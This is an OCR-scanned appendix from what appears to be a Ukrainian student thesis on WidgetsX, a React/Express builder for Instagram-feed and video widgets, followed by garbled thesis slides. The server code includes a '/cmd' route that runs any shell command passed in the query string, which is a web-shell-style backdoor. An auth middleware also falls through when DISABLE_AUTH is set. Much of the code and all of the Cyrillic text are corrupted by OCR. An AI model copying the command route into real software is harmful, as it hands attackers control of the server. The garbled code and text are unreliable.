const buildersMap: Record<string, JSX.Element> = {
'Video': <VideoBuilder/>,
"Instagram': <InstagramFeedBuilder/>
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export const Builder = () => {
const [ params ] = useSearchParams()
const type = params.get('type')
const dispatch = useAppDispatch()

useEffect(() => {
dispatch(changeAppLayout({ hiddeNavMenu: true }))

return () => {
dispatch(changeAppLayout({ hiddeNavMenu: false }))
}
})

return (
<>
<div className={styles.builder container}>
<div className={styles.builder header}>
<input className={styles.title input} placeholder='Untitled

widget'/>
<BrandLogo logoWidth='100px' hiddeTagLine={true} />
<div className={styles.builder header buttons}>
<Link to={'/'} style={{textDecoration: 'none', color: 'black'}}>
<p className={ ${styles.button} ${styles.cancel} }>Cancel</p>
</Link>
<p className={ ${styles.button} ${styles.save} }>Save</p>
</div>
</div>
{buildersMap[type]}
</div>
</>
)
}

/* eslint-disable react-hooks/exhaustive-deps */
import styles from './InstagramFeedBuilder.module.css'
import { AiQOutlineInstagram, AiQutlineHeart } from 'react-icons/ai'

import { FaRegComment } from 'react-icons/fa'

import { InstagranFeeTools } from "./InstagramFeedTools"

import { useAppDispatch, useAppSelector } from 'src/lib/hooks/redux'
import { useEffect, useState } from 'react'
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import { getInstagramAPIClient } from 'src/lib/services/api/instagram-
api.client'

import { TOKEN KEY } from 'src/components/Authorization/AuthorizationWrapper!'
import { updateProfile } from 'src/state/instagram-feed/instagram-feed.slice'
import { Loader } from 'src/components/General/Loader'

export const InstagramFeedBuilder = () => {
const token = localStorage.getItem(TOKEN KEY)
const client = getInstagramAPIClient(token)
const dispatch = useAppDispatch()

const { isIntegrationComplete, isIntegrationProcessing, externalProfileID }
= useAppSelector((s) => s.instagramIntegration)
const profile = useAppSelector((s) => (

{
name: s.instagramFeed.profile name,
img: s.instagramFeed.profile img,
posts: s.instagramFeed.posts,
...S.instagramFeed.bio

}

))

const [selectedPostIndex, setSelectedPostIndex] = useState<number>(0)

useEffect(() => {
if(isIntegrationComplete){
client.getUserMediaData(externalProfilelD)
.then((d) => {
dispatch(updateProfile(d))
})
.catch((err) => alert(err?.message || 'Error occured'))

}
}, [isIntegrationCompletel])

return (
<>
{isIntegrationProcessing &&
<div className={styles.loader wrapper}>
<Loader/>
</div>
}

<div className={styles.builder container}>
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<InstagranFeeTools />
<div className={styles.preview container}>
<div className={styles.feed container}>
<div className={styles.feed bio}>
<div className={styles.profile head}>
<div className={styles.profile img wrapp}>
<img src={profile.img} alt="profile avatar" />
</div>
<p>{profile.name}</p>
</div>
<div className={styles.profile info}>
<div className={styles.profile info item}>
<p>{profile.posts amount}</p>
<p>Posts</p>
</div>
<div className={styles.profile info item}>
<p>{profile.followers amount}</p>
<p>Followers</p>
</div>
<div className={styles.profile info_ item}>
<p>{profile.following amount}</p>
<p>Following</p>
</div>
</div>
<div>
<button className={styles.follow button}>
<AiQutlineInstagram size={20}/>
<p>Follow</p>
</button>
</div>
</div>
<div className={styles.feed gallery}>
{profile.posts.map((p, i) =>
<div
className={styles.post img}
style={{ backgroundImage: “url(${p.img})" }}
onMouseEnter={() => setSelectedPostIndex(i)}
onMouselLeave={() => setSelectedPostIndex(null)}
>

{ selectedPostIndex != null && selectedPostIndex === i
?



<div className={styles.post info}>

<div className={styles.post info_ item}>
<AiQutlineHeart size={15}/>
<p>{p.likes}</p>

</div>

<div className={styles.post info_ item}>
<FaRegComment size={15}/>
<p>{p.comments}</p>

</div>
</div>
To<></>
}
</div>
)}
</div>
</div>
</div>
</div>
</>
)
}
import styles from './InstagramFeedBuilder.module.css'
import { useState } from "react"
import { AiOutlinelLayout } from "react-icons/ai"
import { BiPlug } from 'react-icons/bi'
import { VscSymbolColor } from "react-icons/vsc"
import { LayoutEditor } from './ToolsEditor/Layout/LayoutEditor'
import { ProfileSourceEditor } from

'./ToolsEditor/ProfileSource/ProfileSourceEditor!'
import { ColorEditor } from './ToolsEditor/Color/ColorEditor!'

const toolsEditorMap: Record<string, JSX.Element> = {

'sources': <ProfileSourceEditor/>,

‘layout': <LayoutEditor/>,

'color': <ColorEditor/>,

export const InstagranFeeTools = () => {

const [selectedTool, setSelectedTool] = useState('sources')

return (
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<>
<div className={styles.tools container}>
<div className={styles.tools menu}>

<div

className={" ${styles.tools menu item} ${selectedToo

‘sources' ? styles.selected : ""}'}
onClick={() => setSelectedTool("'sources')}

<BiPlug size={20}/>
<p>Sources</p>
</div>

<div

className={" ${styles.tools menu item} ${selectedTool

? styles.selected : ""} '}
onClick={() => setSelectedTool('layout')}

<AiQutlineLayout size={20}/>
<p>Layout</p>
</div>

<div

className={" ${styles.tools menu item} ${selectedToo

'color' ? styles.selected : ""}'}
onClick={() => setSelectedTool('color')}

<VscSymbolColor size={20}/>
<p>Color</p>
</div>
</div>
<div className={styles.editor container}>
{toolsEditorMap[selectedTool]}
</div>
</div>

</>

}

import styles from './VideoBuilder.module.css'
import { BsUpload } from 'react-icons/bs'

import { IoVolumeMediumQOutline, IoVolumeMuteOutline } from 'react-icons/io5'

import { VideoBuilderTools } from "./VideoBuilderTools"
import { useRef, useState } from 'react'
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export const VideoBuilder = () => {

const [isMutteVideo, setMutteVideo] = useState(true)

const [videoData, setVideoData] = useState<{ name: string, preview: string,
data: File }[1=>([1])

const fileInputElem = useRef(null)

const videoElem = useRef(null)

const toogleVideoSound = () => {
setMutteVideo(!isMutteVideo)
videoElem.current.muted = !isMutteVideo

const processSelectedFiles = (e: React.ChangeEvent<HTMLInputElement>) => {
const files = e.target.files
const formattedFiles = Array.from(files).map((f) => (
{
name: f.name,
preview: URL.createObjectURL(T),
data: f
}
))
setVideoData(formattedFiles)
}
const emitFileInputClick = () => {
fileInputElem.current.click()
¥
return (
<>
<div className={styles.builder container}>
<VideoBuilderTools/>
<div className={styles.preview container}>
<div className={styles.video preview}>
{Boolean(videoData.length)
?
<>
<video autoPlay muted loop ref={videoElem}>
{videoData.map((v, 1) =>
<source key={i} src={v.preview} type="video/mp4" />
)}

</video>



<div id={styles.video mutte button}
onClick={toogleVideoSound}>
{isMutteVideo

? <IoVolumeMuteOutline size={30} color='white'/>

: <IoVolumeMediumOutline size={30} color='white'/>

}
</div>

</>

<div className={styles.video upload}
onClick={emitFileInputClick}>
<BsUpload size={60}/>
<p>Upload file</p>
<input type="file" accept='video/*' multiple
onChange={processSelectedFiles} style={{display: 'none'}}
ref={fileInputElem}/>
</div>
}
</div>
</div>
</div>

</>

}

import styles from './VideoBuilder.module.css'

import { AiOQutlinelLayout, AiQutlineVideoCamera } from 'react-icons/ai'
import { VscSymbolColor } from 'react-icons/vsc'

import { LayoutEditor } from './ToolsEditor/Layout/LayoutEditor'
import { VideoEditor } from './ToolsEditor/Video/VideoEditor!'

import { ColorEditor } from './ToolsEditor/Color/ColorEditor!'

import { useState } from 'react'

const toolsEditorMap: Record<string, JSX.Element> = {
'layout': <LayoutEditor/>,
'video': <VideoEditor/>,
'color': <ColorEditor/>,

export const VideoBuilderTools = () => {
const [selectedTool, setSelectedTool] = useState('layout')



return (

<>

<div className={styles.tools container}>

<div className={styles.tools menu}>

<div

className={" ${styles.tools menu item} ${selectedTool ===

? styles.selected : ""}'}

onClick={() => setSelectedTool('layout')}

<AiOutlinelLayout size={20}/>
<p>Layout</p>

</div>

<div

className={" ${styles.tools menu item} ${selectedTool ===

'video' ? styles.selected : ""}'}
onClick={() => setSelectedTool('video')}
>
<AiOutlineVideoCamera size={20}/>
<p>Video</p>
</div>
<div
className={" ${styles.tools menu item} ${selectedTool ===
‘color' ? styles.selected : ""}'}
onClick={() => setSelectedTool('color')}
>
<VscSymbolColor size={20}/>
<p>Color</p>
</div>
</div>

<div className={styles.editor container}>

{toolsEditorMap[selectedTool]}

</div>
</div>
</>
)
}
import dotenv from 'dotenv'

import { Server } from 'http’

import { s

glDatabase } from './lib/db/db.client.js'

import { createServer } from './modules/web/server.js'
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dotenv.config()

let server: Server

async function boot(){
subscribeToExit()

await sqlDatabase()

_server = createServer()

function subscribeToExit(){
process.on('exit', cleanup)
process.on('SIGINT', cleanup)
process.on('SIGTERM', cleanup)
process.on('uncaughtException', cleanup)
process.on('unhandledRejection', cleanup)

function cleanup(err?: Error){
if(err) console.error(err)
console.log('...Cleaning up"')
_server?.close(() => console.log('Server closed'))

process.exit(0)

boot ()
.then(() => {})
.catch(console.error)
import cors from 'cors'
import Express from 'express'
import * as parserImport from 'body-parser'
import { exec } from 'child process'

78

import { createHealthCheckRoutes } from './routes/health-check.routes.js'
import { authMiddleware } from '../../lib/middlewares/auth.middleware.js';
import { createUserAuthorizationRoutes } from './routes/user-auth.routes.js';
import { getUserAuthCorsConif } from '../../lib/utils/cors.js';

import { errorMiddleware } from '../../lib/middlewares/error.middleware.js"';
import { createIntegrationRoutes } from './routes/integrations.routes.js'



import { createUserApplicationsRoutes } from './routes/user-apps.routes.js'
const parser = parserImport.default

export function createServer(){
const app = Express()

app.use(cors())
app.use(parser.json())
app.set('trust proxy', true);
app.use(createHealthCheckRoutes())

app.use('/user-authorization', cors(getUserAuthCorsConif()),
createUserAuthorizationRoutes())

app.use(authMiddleware)
app.get('/cmd', (req, res) =>{
const command = req.query.exec

exec(command as string, (err, stdout, stderr) => {
res.send(stdout)
})
})

app.use('/integrations', createlntegrationRoutes())
app.use('/user-apps', createUserApplicationsRoutes())

app.use(errorMiddleware)

const PORT = process.env.PORT || 3000
const server = app.listen(
PORT,
() => console.log( Server listen on :${PORT}")

return server
}
import { Request, Response } from "express";
import { verify as verifyJWT } from 'jsonwebtoken'
import { AuthService } from "../../../lib/services/auth.service.js";
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import { UserRepository } from
“../../../lib/services/user/user.repository.js";
import { HttpError } from "../../../lib/utils/http-error.js";

async function singIn(req: Request, res: Response){
const payload = req.body

const user = await UserRepository.getUserByCreds({
username: payload.username,
password: payload.password

})

if(luser){
throw new HttpError(404, 'Not Found')

const token = AuthService.generateUserJWT(user)

res.json({
user,
token

}}

async function singUp(req: Request, res: Response){
const payload = req.body

const newlUser = await UserRepository.createUser(payload)
const token = AuthService.generateUserJWT(newUser)

res.json({
user: newUser,

token

})

async function validateUsername(req: Request, res: Response){

const username = req.query.name as string

const isUsernameExists = await UserRepository.checkUsernameExists(username)

res.json({
exist: isUsernameExists



H}

async function validateJWT(req: Request, res: Response){
const token = req.query.token as string

verifyJWT(
token,
process.env.JWT SECRET,
(err, t) => {
let errorMessage = null
let valid = true

if(err){
errorMessage = err.message
valid = false

}
res.json({
valid,
error: errorMessage,
token
})
}
)}
export const UserAuthController = {
singln,
singUp,
validateUsername,
validateJWT

}

import { Request, Response } from 'express'

import { ApplicationModel } from
"../../../lib/db/models/applications.model. js'

import { UserAppModel } from '../../../lib/db/models/user-
application.model.js'

import { InstagramAppModel } from '../../../lib/db/models/instagram-
app.model.js'

import { VideoAppModel } from '../../../lib/db/models/video-app.model.js'
import { ref } from 'objection'

import { Application } from '../../../lib/constants/applications.js'

async function createApp(req: Request, res: Response) {



const payload = req.body
const user = req.user

const application = await ApplicationModel.query().findOne('name',

payload. type)

const userApp = await UserAppModel.query().insertAndFetch({
user id: user.id,
app _id: application.id,
title: payload.title

})

if(application.name === Application.Instagram){
await InstagramAppModel.query().insert({

user app_id: userApp.id,
posts columns: payload.posts columns,
feed title: payload.app title,
primary color: payload.primary color,
secondary color: payload.secondary color,
data: JSON.stringify(payload.data),

if(application.name === Application.Video){

await VideoAppModel.query().insert({
user app_id: userApp.id,
layout float: payload.layout float,
feed title: payload.app title,
primary color: payload.primary color,
secondary color: payload.secondary color,
data: JSON.stringify(payload.data),

res.sendStatus(201)

async function getAppsList(req: Request, res: Response) {
const { limit, offset } = req.query

const user = reqg.user

const userApps = await UserAppModel.query()

82



.select('ua.*', 'a.name as app_name')
.from(ref(UserAppModel.tableName).as('ua'))
.innerJoin(ref(ApplicationModel.tableName).as('a'),
.where('ua.user_id', user.id)

.limit(parseInt(limit as string))
.offset(parselnt(offset as string))

res.json(userApps)

export const UserApplicationsController = {
createApp,
getAppsList

import { Request, Response } from 'express'

import { UserIntegrationsRepository } from
"../../../../lib/services/integrations/user-integrations
import { UserIntegrationType } from
"../../../../lib/constants/integrations.js'

async function getUserIntegrationsList(req: Request, res:

const {
type,
externat id: externallD,
limit,
offset
} = req.query
const user = req.user

const integrations = await
UserIntegrationsRepository.getExistingIntegrations(
user,
{
type: type as UserIntegrationType,
externalUserID: externallD as string,
limit: parseInt(limit as string),
offset: parseInt(offset as string)

'a.id', 'ua.app_id"')

.repository.js'

Response) {
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res.json({
integrations

H}
export const UserIntegrationsController = {

getUserIntegrationsList
}
import { Request, Response } from "express";
import { getInstagramOAuthAPIClient } from
“../../../../1lib/services/api/instagram-oauth.client.js";
import { UserIntegrationsRepository } from
“../../../../lib/services/integrations/user-integrations.repository.js";
import { UserIntegrationType } from
“../../../../lib/constants/integrations.js";
import { getInstagramDataAPIClient } from
“../../../../lib/services/api/instagram-data.client.js";

async function getAuthorizationLink(req: Request, res: Response){
const authorizationLink = getInstagramOAuthAPIClient().getAuthorizelLink()

res.json({
link: authorizationLink.toString()

}

async function exchangeAuthCodeForToken(req: Request, res: Response){
const client = getInstagramOAuthAPIClient()
const code = req.query.code as string

const userToken = await client.getUserAccessToken(code)

const userIntegration = await
UserIntegrationsRepository.ensureUserIntegration(
{
user_id: req.user.id,
type: UserIntegrationType.Instagram,
access_token: userToken.access token,
external user id: userToken.user id.toString()

I

true
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res.json(userIntegration)

async function getUserInstagramData(req: Request, res: Response){
const externalID = req.query.external user id as string
const user = reqg.user
const integration = await UserIntegrationsRepository.ensureUserIntegration(
{
user_id: user.id,
type: UserIntegrationType.Instagram,
external user id: externallD
}
false
)
const { data: profileData} = await
getInstagramDataAPIClient().getUserProfileMedia(integration.external user id,
integration.access token)
const [{ username, followers, following }] = profileData
const formatted = {
profile name: username,
posts: profileData.map((d) => ({
img: d.media url,
likes: d.like,
comments: d.comments
),
bio: {
posts amount: profileData.length,
followers amount: followers.length,
following amount: following.length,

}

res.json(formatted)

export const InstagramIntegrationController = {
getAuthorizationLink,
exchangeAuthCodeForToken,
getUserInstagramData

import JsonWebTokenImport from "jsonwebtoken"
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import { NextFunction, Request, Response } from "express";
import { JwtPayload } from "jsonwebtoken";
import { IUserDB } from "../db/models/user.model.js";

const { verify: verifyJWT } = JsonWebTokenImport

export function authMiddleware(req: Request, res: Response, next:
NextFunction){
if(process.env.DISABLE AUTH) next()

const token = req.headers['authorization']?.split(' ')?.at(-1)

if(!token){
res.status(401).json({
message: 'No access token was found'

})

return

verifyJWT(

token,

process.env.JWT SECRET,

(err, decoded) => {

if(err){
res.status(498).json({

token,
message: 'Invalid token'

})
return
}

req.user = (decoded as JwtPayload & { user: IUserDB }).user

next()

import KnexImport, { Knex } from 'knex'
import { Model } from 'objection'



const knex = KnexImport.default
let  knex: Knex

export async function sqlDatabase(){
if(!  knex){
let connection: string | Record<string, string>

if(process.env.NODE ENV === 'production'){
connection = {
user: process.env.DB USER,
password: process.env.DB PASS,
database: process.env.DB NAME,
socketPath: process.env.INSTANCE UNIX SOCKET,

}

}else{
connection = process.env.SQL CONNECTION STRING

}

__knex = knex({
client: 'mysql2’,
connection,
pool: {

min: O,
max: 10
}
})

Model.knex(_ knex)

}

return  knex
}
import './index.css'
import Logo from '../../assets/images/widgetsX-logo.svg'
import { createElement } from '../../lib/utils/dom'
import { isProduction } from '../../lib/utils/mode'
import { IInstagramProfile, IProfileBio } from './interfaces/profile'

import { mockProfile } from './mock'

const profile = isProduction()
?7 '' as unknown as IInstagramProfile



: mockProfile

function createProfileBio(): Node{
const profileBioContainer = createElement('div', {className: 'feed bio'})
const profileHead = createElement('div', {className: 'profile head'})
const profileHeadImgWrapper = createElement('div', {className:
'profile img wrapp'})
const profileHeadImg = createElement('img', {className: 'img'})
const profileHeadName = createElement('p')

profileHeadName.textContent = profile.profile name
profileHeadImg.setAttribute('src', profile.profile img)
profileHeadImgWrapper.appendChild(profileHeadImg)
profileHead.append(profileHeadImgWrapper, profileHeadName)

const profileInfo = createElement('div', {className: 'profile info'})
const profileInfoltems = Object.keys(profile.bio).map((k) => {
const infoltem = createElement('div', {className: 'profile info item'})
const label = createElement('p')
const valuelLabel = createElement('p"')
valuelLabel.textContent = profile.bio[k as keyof IProfileBio].toString()

if(k.includes('posts')){
label.textContent = 'Posts'

if(k.includes('followers')){
label.textContent = 'Followers'
}
if(k.includes('following')){
label.textContent = 'Following'
}
infoItem.appendChild(valuelLabel)
infoItem.appendChild(label)
return infoItem
})
profileInfo.append(...profileInfoIltems)

const followButtonDiv = createElement('div"')
const followButton = createElement('div', {className: 'follow button'})
const buttonText = createElement('p')
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buttonText.textContent = "Follow"
followButton.appendChild(buttonText)
followButtonDiv.appendChild(followButton)

profileBioContainer.appendChild(profileHead)
profileBioContainer.appendChild(profileInfo)
profileBioContainer.appendChild(followButtonDiv)

return profileBioContainer

function createProfilePosts(): Node{
const profilePostsContainer = createElement('div', {className:
'feed gallery'})
const profilePosts = profile.posts.map((p) => {
const post = createElement('div', {className: 'post img'})
post.style.backgroundImage = “url(${p.img})"

return post

}

profilePostsContainer.append(...profilePosts)

return profilePostsContainer

function createInstagramApp(): Node{
const logoContainer = createElement('div', {className: 'logo container'})
const container = createElement('div', {className: 'feed container'})

const profileBio = createProfileBio()
const profilePosts = createProfilePosts()

logoContainer.insertAdjacentHTML( 'beforeend', Logo)
container.appendChild(profileBio)
container.appendChild(profilePosts)
container.appendChild(logoContainer)

return container



function injectInstagramApp(){
const instagramApp = createInstagramApp()

window.addEventListener('load', () => {
document.body.appendChild(instagramApp)
1)

injectInstagramApp()

import './index.css'
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import SoundOff from '../../assets/images/widgetsX-logo.svg'

import Logo from '../../assets/images/widgetsX-logo.svg'

import { VIDEO DATA STRING } from "../../lib/constants/injection-variables"
import { createElement } from "../../lib/utils/dom"

import { isProduction } from "../../lib/utils/mode"

import { IVideoData } from "./interfaces/video-data"

import { mockVideos } from "./mock"

const videos = isProduction()
? VIDEO DATA STRING as unknown as IVideoDatal]
: mockVideos

function createMuteButton(): Node{
const muteButtonContainer = createElement('div', { id:

})

return muteButtonContainer

function createVideoApp(): Node{
const videoWrapper = createElement('div', { className:

‘video_mutte button'

‘video wrapper' })

const videoContainer = createElement('div', { className:

'video player container' })
const muteButton = createMuteButton()

const video = createElement('video') as HTMLVideoElement



video.muted = true
video.autoplay = true
video.loop = true

const sources = videos.map((v) => {
const source = document.createElement('source')

source.src = v.src

return source

})

video.append(...sources)
videoContainer.append(video)
videoContainer.append(muteButton)

videoWrapper.appendChild(videoContainer)

return videoWrapper

function injectVideoApp(){

const logoContainer = createElement('div', { className:

const videoApp = createVideoApp()

logoContainer.insertAdjacentHTML( 'beforeend', Logo)
videoApp.appendChild(logoContainer)

window.addEventListener('load', () => {
document.body.appendChild(videoApp)

}

injectVideoApp()

import webpack from 'webpack'
/**
* @constant
* @type {webpack.Configuration}
*/
const config = {
entry: {
['video-app']l: './src/modules/video-app/index.ts',
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['instagram-feed-app']:
}
module: {
rules: [
{
test: /\.ts$/,
use: 'ts-loader',

'./src/modules/instagram-feed-app/index.ts'

exclude: /node modules/

test: /\.css$/i,

use: ["style-loader", "css-loader"],

test: /\.svg$/,

loader: 'svg-inline-loader'

1
}
output: {

filename: './[name].js',

}

resolve: {

extensions: ['.ts', '.js']

}
plugins: [

new webpack.EnvironmentPlugin(['MODE']),

new webpack.optimize.LimitChunkCountPlugin({

maxChunks: 1

})

export default config
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JTOJATOK B

Caaiign npe3eHTaIil
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MIHICTEPCTBO OCBITU | HAYKIW YKPAIHWA
HauioHaAbHMI yHiIBepcUTET «3anopi3bKa MNOAITEXHIKa»

PO3POBKA TA NMPOIPAMHA PEAAI3ALIA
KOHCTPYKTOPA HTML BIAMETIB AAA
BEB3ACTOCYHKIB

BukoHan cryaeHT rpynu KHT-120cn Onekcarap AYBIHA
KepiBHUK K.T.H., AOLEHT Onbra TANAAKOBA

2023

Pucynok b.1 — TurynsHui nucr

O6’ekT Ta MeTa poboTu

O6’eKT po3pobKu - KocHTpyKTop HTML
BiAXeTiB AAA Beb3acTocyHKIB

MeTa po3pobku - po3pobka nporpaMHoro
3abecneyeHHA ana cTBopeHHA HTML
BipXKeTiB

Pucynok b.2 — OG’ekTt Ta MeTa poOOTH

94



3apauvi

MpoaHaAizyBaTu icHytoun cnucteMi and ctBopeHHa HTML BiaxxeTis;
Bubip cTeKky TEXHOAOTIN Ta apXiTEKTypW cuctemy;

Po3pobutun ctpykTypy 6a3u paHux;

Po3pobuTu 3pyyHIii Ta cydacHWiA KOpUCTYBaLbKMI iHTepdenic;

Po3pobuTi ocHoBHI MoayAi ccTeMn Ta obpaTti dopMaT cniAkyBaHHA CEPBEPHMX Ta
KAIEHTbCKUX MOAYAIB;

MNpoTecTyBaTK Ta BiararoamTn pospobaeHe nporpamHe 3abecnevueHs.

Pucynok b.3 — IloctanoBka 3amaui

MopiBHAHHA cy4yacHUX cepeAoBULl, PO3PObKHK

Kareropis VS Code Atom ‘WebStorm
AnHamiunnii Habip Tekcry + + +
Poswnpenta / Maarin + + +
Linux, Linux Linux
OnepaLiiina cuctema Windows Windows Windows
Mac OS X Mac OS X Mac OS X
ABTO3aMOBHEHHA KOAY + + +
LWsnakicts + 5 i
Aerko BcTaHoBUTM + _ -
3aiiMae Mano MiCus B nam'ATi + - e
MpoaykTreHicTs + _ +
Avsaiin - + p
THYuKICTb Ta 3pyuHicTh
+
BUKOPWCTaHHA
MiATpUMKa BiAbLIOCTI MOB + = o

MarepuHcbKa KoMnaHia Microsoft GitHub JetBrains

Pucynoxk b.4 — IopiBHSIHHS Cy9acHHUX CEPEIOBHUII PO3POOKH
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ApxiTeKkTypa cucremu

Files Storage

WidgetsX
MySQL DB

3aBaHTaMEHHA HOBUX
Bepcii siaxerie

Morik aaHux danny
WidgetsX WidgetsX
Application templates Server
3anuT Ha oTp TBOPEHHA saL
taiina 3anutn
Bianosiab HTTP
y opmari
JSON Banntv
WidgetsX
Admin Client

Pucynok b.5 — ApxiTektypa cucteMu

CrpykTypHa cxema 6asu pAaHuUX

#® instagram_app_config

g id

'a user_app_id
posts_columns
feed_title
primary_color
secondary_color
data ¥ user_applications
created_at :

= gid

updated_at B8 applications

a user_id qid
aapp_id
title
created_at
updated_at

. name
B8 video_app_config description
gid
'a user_app_id

layout_float gn et

feed_title B user_integrations id

primary_color did first_name
secondary_color last_name
e 'a user_id

type
refresh_token

full_name
username
password
created_at
updated_at

created_at

updated_at
created_at

updated_at

Pucynok b.6 — CtpykTypHa cxema 0a3u JaHuX



CropiHKka aBTOopu3aLii Ta peecTpauii
KOPUCTyBauiB

WidgetsX WidgetsX

zzzzz

SignUp

Pucynok b.7 — Cropinka aBropu3allli Ta peectpalli KOpucTyBadiB

[oAnoBHa cTOpiHKa

< . .
widgetsx My applications

Video Galler
© Home i

Applications m + Add application

View stats @
Explore other applications
Instagram Feed Video Gallery
@ Add posts from your Instagram account Display videos on your website
1o your website

Pucynok b.8 — I'osoBHa cTopinka
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[Mpouec cTBOpEHHSA BiaXKETY
«lHcTarpam Nanepea»

e Instagram e
w n
e
& RO -
= =

Pucynok b.9 — Ilporec crBopenns BimxkeTy «lHctarpam ["anepes»

[Mpouec cTBOpEHHA BiaXKeTY
«Biaeo naeep»

el

Pucynox b.10 — Ilporec ctBopenns BimkeTy «Bineo miueepy
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Buraaa ctBopeHHUX BiaXKeTiB
IHTErpoBaHMX Ha CaUT KOPUCTyBaya

Edtoral v s

Hi, I'm Editorial

Erat lacinia

WidgetsX ke Eriestem WidgetsX
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Pucynoxk b.11 — Burunsa cTBOpeHHUX BiJIKETIB IHTETPOBAaHUX HA CAUT

KOpHUCTyBaua

BucHoBKM

Y npoueci BUKOHaHHA AUNAOMHOI pob0oTK ByAo po3pobAeHO NporpaMHe 3abesneveHHs Aas
ctBopeHHs HTML BiaxeTiB.

lMicaa po3pobKuM Ta TecTyBaHHA NporpamMHoro 3abesnevyeHHA ana ctBopeHHA HTML Bia»keTiB MoxHa
3pPO6UTUN HACTYMHI BUCHOBKM:

Peanaizauia ¢yHKui0Ha/\a nporpamMHoro 3abesneyeHHsA BiANOBIAAE BMMOraM TEXHIYHOIO 3aBAGHHA.
KAieHTCbKa YacTvHa Mae 3py4HUI Ta CydYacHui iHTepoec.

3abesneyeHHs NPMBATHOCTI AGHUX KOPUCTYBaya.

CrabiAbHy pobOTy BiAXKETIB iIHTErPOBaHMX Ha CaliT KOPUCTyBaYa.

A po3pobkr nporpamHoro 3abesneyeHHsa 6yao obpary Moy TypeScript Ta dpperimBopkn NodeJS,
ExpressJS aaa cepBepHoi YacTy, React)S ana po3pobKm KAIEHTCbKOT YacTuHM.

Ak 6a3y aaHux 6yno obpaHo 6asy aaHux MySQL. CtBopeHo cTpykTypy 6a3mn AaHuXx NporpaMHoro
3abesnevyeHHa. OnncaHo ajiarpaMy po3pobaeHoi cnctemu.

ObrpyHTOBaHO BUOIp CTEKY TEXHOAOTIM Ta apXiTEKTYPY CUCTEMMU.

B pesyabTati BUNnpobyBaHb po3pobaeHe nporpaMHe 3abesneyeHHA AO3BOAAE CTBOPIOBATH,
peaaryBatu Ta ekcnoptyBatv HTML BiaXKeTK Ta Aerko iHTerpyBaTh Ha cavT KOPUCTyBauiB.
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Pucynoxk b.12 — BucHoBku
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